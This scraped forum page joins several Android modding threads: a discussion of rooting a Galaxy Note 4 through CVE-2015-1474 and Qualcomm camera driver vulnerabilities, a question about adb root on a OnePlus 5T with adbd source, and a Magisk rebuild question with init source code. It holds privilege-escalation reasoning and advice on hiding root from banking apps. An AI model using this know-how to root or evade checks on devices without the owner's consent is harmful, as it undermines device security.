I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
Sent from my SAMSUNG-SM-N910A using Tapatalk
stvn1337 said:
I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
Sent from my SAMSUNG-SM-N910A using Tapatalk
Click to expand...
Click to collapse
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
munjeni said:
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
Click to expand...
Click to collapse
Your correct, I wonder if terminal emulator has been patched to prevent the broadAnywhere bug from launching it? If so then we need to find another terminal emulator that allows broadAnywhere to launch it with intents. Unless someone has time to search the terminal emulators source to figure out how it's been patched to prevent it..
Sent from my SAMSUNG-SM-N910A using Tapatalk
Maxninja said:
I did some research and googled the CVE-2014-4322 exploit and I stumbled on a forum for the Sony Xperia for them to achieve root with that exploit - http://forum.xda-developers.com/showthread.php?t=3011598
I don't know if it's useful but I hope it will help somewhere in the process for our phone to be rooted with the same exploit.
Click to expand...
Click to collapse
Yeah that was covered 50+ pages ago. That's the kernel side of it, we know that will work but first we have to get through the Android side first. That's what 1474 should do for us.
@soupmeister Yes. This is the best place.
windstrings said:
This brings the next question.. An educated guess as to whether this will work with lollipop?
Click to expand...
Click to collapse
I would be curious about this also, but only after root is out for pre-Lollipop. The description says through 5.0, which sounds to me like 5.0 is vulnerable but who knows if 5.0.1 or 5.0.2 is. Also Samsung, as we've seen recently with the root that works on other phones using those two CVEs not working on our phones, will backport fixes. I don't know how much Samsung is still tweaking their Lollipop update, but since this seems like a small fix, my money would be on it being fixed in the Samsung Lollipop update.
Btw I've been trying to upload the contents of system.img.ext4 from the AT&T and Verizon tar md5 files to Google Drive for easy reference but it keeps timing out and I don't want to post something missing random files. I'll try with a specialized uploader tool later.
Also CVE-2015-1474 was updated on the 17th to say that it's network exploitable(!) and I guess they gave it a 10.0 score, the highest! This seems to be more serious than that last "worst android bug ever" recently used for root in the last year.
I sure hope whatever tool that gives root that comes out also applies a fix for this. I wouldn't want to walk around with it if I could help it.
So after a bunch of useless posts basically asking to confirm this or thanking that..at least we can count on qcom to brighten our day...
https://www.codeaurora.org/projects...le-camera-drivers-cve-2014-4321-cve-2014-4324
Qcom camera FTW
Just a little further reading for some:
http://www.cvedetails.com/cve/CVE-2015-1474/
jcase said:
Would still require 1 or 2 additional vulns to exploit. Not so easy to get camera group in modern Android
Click to expand...
Click to collapse
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
jasonstackhouse said:
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
Click to expand...
Click to collapse
Ok I will. These "permission groups" from the play store have nothing to do with this. We are talking about a single android permission (android.permission.CAMERA) and a single linux group ("camera').
In 5.0, and many 4.x devices (i dont think it was all, it might have been all, i just dont care to find my notes, 10hr trip to take son to Dr and back, just got home and freaking tired) the linux group "camera" used in android was severed from the camera permission, declaring this permission does not put your user (app) into the camera group.
Simple test,
adb shell grep -A 10 -B 10 camera /system/etc/permissions/platform.xml
On blackphone (4.4.x), HTC Desire 510 (4.4.x) MotoX 2014 (5.0.x), the above command returned nothing.
One older devices, say 4.2.2 you would get teh following as the output:
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
This means apps that are granded the permission, are put into the group "camera".
See:
https://android.googlesource.com/platform/frameworks/base/+/android-4.2.2_r1/data/etc/platform.xml
vs
https://android.googlesource.com/platform/frameworks/base/+/android-4.4.2_r1/data/etc/platform.xml
What does this mean? You cant directly talk to what you need to to exploit those camera vulns, you would need to exploit mediaserver, or escalate to system first (Which means squat, if you are system you have 100 ways to root that are easier than these camera bugs). Also must not forget about SEAndroid, might put a snag into it as well, but like ive said I just saw these today, and have been home for a whole 10minutes so far today.
Misterxtc said:
If it helps any this is what the adb command returned on the VZW Note4 on NJ5.
View attachment 3172812
Click to expand...
Click to collapse
Same here, AT&T NIE
C:\Users\rac1\Desktop\ADB>adb shell grep -A 10 -B 10 camera /system/etc/permissi
ons/platform.xml
<permission name="android.permission.SYSTEM_GROUP_INTERNAL" >
<group gid="system" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="com.sec.android.permission.CAMERA" >
<group gid="camera" />
</permission>
<permission name="android.permission.READ_LOGS" >
<group gid="log" />
</permission>
<permission name="android.permission.READ_EXTERNAL_STORAGE" >
<group gid="sdcard_r" />
</permission>
--
<group gid="graphics" />
</permission>
<!-- Except for SysScope, DO NOT USE this permission. -->
<permission name="com.sec.android.app.sysscope.permission.ACCESS_SYSTEM_INFO
_SYSSCOPE_ONLY" >
<group gid="radio" />
</permission>
<!-- Group that can use gscaler -->
<permission name="com.sec.android.permission.USE_CAMERA" >
<group gid="camera" />
</permission>
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- The following tags are assigning high-level permissions to specific
user IDs. These are used to allow specific core system users to
perform the given operations with the higher-level framework. For
example, we give a wide variety of permissions to the shell user
OK let's not forget about cve-2015-1474. This is the vulnerability that's going to get us what we want. Let's not get sidetracked about another vulnerability that we may not even need.

ADB root command doesn't get me a root shell

Hey community,
I have another question.
I am trying to get adb to drop a root shell on my OP5T.
What I did so far was edit default.prop:
ro.secure=0
ro.debuggable=1
ro.adb.secure=0
service.adb.root=1
After repacking and booting the modified ramdisk, I try this command from my computer:
adb root
It tells me adbd is restarting as root, but when I do 'adb shell' after, it doesn't give me a root shell.
Now I am sure the props are changed because when I do getpro ro.secure it gives me 0, so I know the default.props got loaded correctly.
Any reason why adb is not dropping me a root shell?
This is the code that does the checks in the adbd daemon:
Code:
static bool should_drop_privileges() {
#if defined(ALLOW_ADBD_ROOT)
// The properties that affect `adb root` and `adb unroot` are ro.secure and
// ro.debuggable. In this context the names don't make the expected behavior
// particularly obvious.
//
// ro.debuggable:
// Allowed to become root, but not necessarily the default. Set to 1 on
// eng and userdebug builds.
//
// ro.secure:
// Drop privileges by default. Set to 1 on userdebug and user builds.
bool ro_secure = android::base::GetBoolProperty("ro.secure", true);
bool ro_debuggable = __android_log_is_debuggable();
// Drop privileges if ro.secure is set...
bool drop = ro_secure;
// ... except "adb root" lets you keep privileges in a debuggable build.
std::string prop = android::base::GetProperty("service.adb.root", "");
bool adb_root = (prop == "1");
bool adb_unroot = (prop == "0");
if (ro_debuggable && adb_root) {
drop = false;
}
// ... and "adb unroot" lets you explicitly drop privileges.
if (adb_unroot) {
drop = true;
}
return drop;
#else
return true; // "adb root" not allowed, always drop privileges.
#endif // ALLOW_ADBD_ROOT
}
Greetings,
Down...

Question downgrade magisk to v23 ?

hello every body
i hope all of you have a good health and good life...sorry if my english is rubbish
my question is that magisk v23 deosn't flash my phone in right way it working prefectly on v24+ but i just not comfortable with magisk hide removed and zygisk and more things i found that commit https://github.com/topjohnwu/Magisk/pull/5139/commits/3ecae6300632b29e4920270e6a8ff0bdd70164b6 solved the problem with fstab iam not a developer iam just a user but i could help my self to understand by guides
so is there a way to change or to apply this changes in commit to v23 and flash my phone with it ...and if so i would really apperciate a quick gide to help me to do so...
thanks in advance
i hope you all have a good day
eslam.essa.2011 said:
hello every body
i hope all of you have a good health and good life...sorry if my english is rubbish
my question is that magisk v23 deosn't flash my phone in right way it working prefectly on v24+ but i just not comfortable with magisk hide removed and zygisk and more things i found that commit https://github.com/topjohnwu/Magisk/pull/5139/commits/3ecae6300632b29e4920270e6a8ff0bdd70164b6 solved the problem with fstab iam not a developer iam just a user but i could help my self to understand by guides
so is there a way to change or to apply this changes in commit to v23 and flash my phone with it ...and if so i would really apperciate a quick gide to help me to do so...
thanks in advance
i hope you all have a good day
Click to expand...
Click to collapse
Here, try this 3rd party version of Magisk 25.2 Delta. It has Magiskhide and no need to turn on Zygisk. You probably will have to patch your boot.img though. There is info on how to move to this version of Magisk... If you want LSPosed, first download Riru v26.1.6 , install that and reboot, then get LSPosedd riru 1.8.3, install and reboot. You can hide all banking apps and most that don't work with zygisk turned on. There is a good explanation of how Zygisk can be detected by a lot of apps. Hope this helps.
bobfrantic said:
Here, try this 3rd party version of Magisk 25.2 Delta. It has Magiskhide and no need to turn on Zygisk. You probably will have to patch your boot.img though. There is info on how to move to this version of Magisk... If you want LSPosed, first download Riru v26.1.6 , install that and reboot, then get LSPosedd riru 1.8.3, install and reboot. You can hide all banking apps and most that don't work with zygisk turned on. There is a good explanation of how Zygisk can be detected by a lot of apps. Hope this helps.
Click to expand...
Click to collapse
lots of bugs my friend sorry iam late for reading your reply+test it
iam need to build magisk from source after editing this file from v23.0 https://github.com/topjohnwu/Magisk/blob/v23.0/native/jni/init/twostage.cpp to be similar and function to this file from v24.2 https://github.com/topjohnwu/Magisk/blob/v24.2/native/jni/init/twostage.cpp but i got errors when start to build binaries any help from here ?
eslam.essa.2011 said:
lots of bugs my friend sorry iam late for reading your reply+test it
iam need to build magisk from source after editing this file from v23.0 https://github.com/topjohnwu/Magisk/blob/v23.0/native/jni/init/twostage.cpp to be similar and function to this file from v24.2 https://github.com/topjohnwu/Magisk/blob/v24.2/native/jni/init/twostage.cpp but i got errors when start to build binaries any help from here ?
Click to expand...
Click to collapse
sorry can't assist you with editing the file...
bobfrantic said:
sorry can't assist you with editing the file...
Click to expand...
Click to collapse
its ok my friend thanks for trying to help anyway
if you would please....if you know someone here who can please mention him/her here
hope you have a good day
@Didgeridoohan any help here brother if you may accept this
my problem is that i edited v23.0 twostage.cpp to be similar to this commit https://github.com/topjohnwu/Magisk/pull/5139/commits/3ecae6300632b29e4920270e6a8ff0bdd70164b6 wich solve bootloop for samsung a528b/a52s 5g but after build then flash the stock AP file with my new build magisk it still get bootloop what i did wrong i attached twostage.cpp after editing and many thanks to all of xda users who would help me and who wouldn't
Code:
#include <sys/mount.h>
#include <magisk.hpp>
#include <utils.hpp>
#include <socket.hpp>
#include "init.hpp"
using namespace std;
void fstab_entry::to_file(FILE *fp) {
fprintf(fp, "%s %s %s %s %s\n", dev.data(), mnt_point.data(),
type.data(), mnt_flags.data(), fsmgr_flags.data());
}
#define set_info(val) \
line[val##1] = '\0'; \
entry.val = &line[val##0];
#define FSR "/first_stage_ramdisk"
extern uint32_t patch_verity(void *buf, uint32_t size);
void FirstStageInit::prepare() {
if (cmd->force_normal_boot) {
xmkdirs(FSR "/system/bin", 0755);
rename("/init" /* magiskinit */, FSR "/system/bin/init");
symlink("/system/bin/init", FSR "/init");
rename("/.backup/init", "/init");
rename("/.backup", FSR "/.backup");
rename("/overlay.d", FSR "/overlay.d");
chdir(FSR);
} else {
xmkdir("/system", 0755);
xmkdir("/system/bin", 0755);
rename("/init" /* magiskinit */ , "/system/bin/init");
rename("/.backup/init", "/init");
}
char fstab_file[128];
fstab_file[0] = '\0';
// Find existing fstab file
for (const char *suffix : { cmd->fstab_suffix, cmd->hardware, cmd->hardware_plat }) {
if (suffix[0] == '\0')
continue;
for (const char *prefix: { "odm/etc/fstab", "vendor/etc/fstab", "fstab" }) {
sprintf(fstab_file, "%s.%s", prefix, suffix);
if (access(fstab_file, F_OK) != 0) {
fstab_file[0] = '\0';
} else {
LOGD("Found fstab file: %s\n", fstab_file);
goto exit_loop;
}
}
}
exit_loop:
// Try to load dt fstab
vector<fstab_entry> fstab;
read_dt_fstab(fstab);
if (!fstab.empty()) {
// Dump dt fstab to fstab file in rootfs and force init to use it instead
// All dt fstab entries should be first_stage_mount
for (auto &entry : fstab) {
if (!str_contains(entry.fsmgr_flags, "first_stage_mount")) {
if (!entry.fsmgr_flags.empty())
entry.fsmgr_flags += ',';
entry.fsmgr_flags += "first_stage_mount";
}
}
if (fstab_file[0] == '\0') {
const char *suffix =
cmd->fstab_suffix[0] ? cmd->fstab_suffix :
(cmd->hardware[0] ? cmd->hardware :
(cmd->hardware_plat[0] ? cmd->hardware_plat : nullptr));
if (suffix == nullptr) {
LOGE("Cannot determine fstab suffix!\n");
return;
}
sprintf(fstab_file, "fstab.%s", suffix);
}
// Patch init to force IsDtFstabCompatible() return false
auto init = mmap_data::rw("/init");
init.patch({ make_pair("android,fstab", "xxx") });
} else {
// Parse and load the fstab file
file_readline(fstab_file, [&](string_view l) -> bool {
if (l[0] == '#' || l.length() == 1)
return true;
char *line = (char *) l.data();
int dev0, dev1, mnt_point0, mnt_point1, type0, type1,
mnt_flags0, mnt_flags1, fsmgr_flags0, fsmgr_flags1;
sscanf(line, "%n%*s%n %n%*s%n %n%*s%n %n%*s%n %n%*s%n",
&dev0, &dev1, &mnt_point0, &mnt_point1, &type0, &type1,
&mnt_flags0, &mnt_flags1, &fsmgr_flags0, &fsmgr_flags1);
fstab_entry entry;
set_info(dev);
set_info(mnt_point);
set_info(type);
set_info(mnt_flags);
set_info(fsmgr_flags);
fstab.emplace_back(std::move(entry));
return true;
});
}
{
LOGD("Write fstab file: %s\n", fstab_file);
auto fp = xopen_file(fstab_file, "we");
for (auto &entry : fstab) {
// Redirect system mnt_point so init won't switch root in first stage init
if (entry.mnt_point == "/system")
entry.mnt_point = "/system_root";
// Force remove AVB for 2SI since it may bootloop some devices
auto len = patch_verity(entry.fsmgr_flags.data(), entry.fsmgr_flags.length());
entry.fsmgr_flags.resize(len);
entry.to_file(fp.get());
}
}
chmod(fstab_file, 0644);
chdir("/");
}
#define INIT_PATH "/system/bin/init"
#define REDIR_PATH "/system/bin/am"
void SARInit::first_stage_prep() {
xmount("tmpfs", "/dev", "tmpfs", 0, "mode=755");
// Patch init binary
int src = xopen("/init", O_RDONLY);
int dest = xopen("/dev/init", O_CREAT | O_WRONLY, 0);
{
auto init = mmap_data::ro("/init");
init.patch({ make_pair(INIT_PATH, REDIR_PATH) });
write(dest, init.buf, init.sz);
fclone_attr(src, dest);
close(dest);
}
// Replace redirect init with magiskinit
dest = xopen("/dev/magiskinit", O_CREAT | O_WRONLY, 0);
write(dest, self.buf, self.sz);
fclone_attr(src, dest);
close(src);
close(dest);
xmount("/dev/init", "/init", nullptr, MS_BIND, nullptr);
xmount("/dev/magiskinit", REDIR_PATH, nullptr, MS_BIND, nullptr);
xumount2("/dev", MNT_DETACH);
// Block SIGUSR1
sigset_t block, old;
sigemptyset(&block);
sigaddset(&block, SIGUSR1);
sigprocmask(SIG_BLOCK, &block, &old);
if (int child = xfork()) {
LOGD("init daemon [%d]\n", child);
// Wait for children signal
int sig;
sigwait(&block, &sig);
// Restore sigmask
sigprocmask(SIG_SETMASK, &old, nullptr);
} else {
// Establish socket for 2nd stage ack
struct sockaddr_un sun;
int sockfd = xsocket(AF_LOCAL, SOCK_STREAM | SOCK_CLOEXEC, 0);
xbind(sockfd, (struct sockaddr*) &sun, setup_sockaddr(&sun, INIT_SOCKET));
xlisten(sockfd, 1);
// Resume parent
kill(getppid(), SIGUSR1);
// Wait for second stage ack
int client = xaccept4(sockfd, nullptr, nullptr, SOCK_CLOEXEC);
// Write backup files
string tmp_dir = read_string(client);
chdir(tmp_dir.data());
int cfg = xopen(INTLROOT "/config", O_WRONLY | O_CREAT, 0);
xwrite(cfg, config.buf, config.sz);
close(cfg);
restore_folder(ROOTOVL, overlays);
// Ack and bail out!
write_int(client, 0);
close(client);
close(sockfd);
exit(0);
}
}

Categories

Resources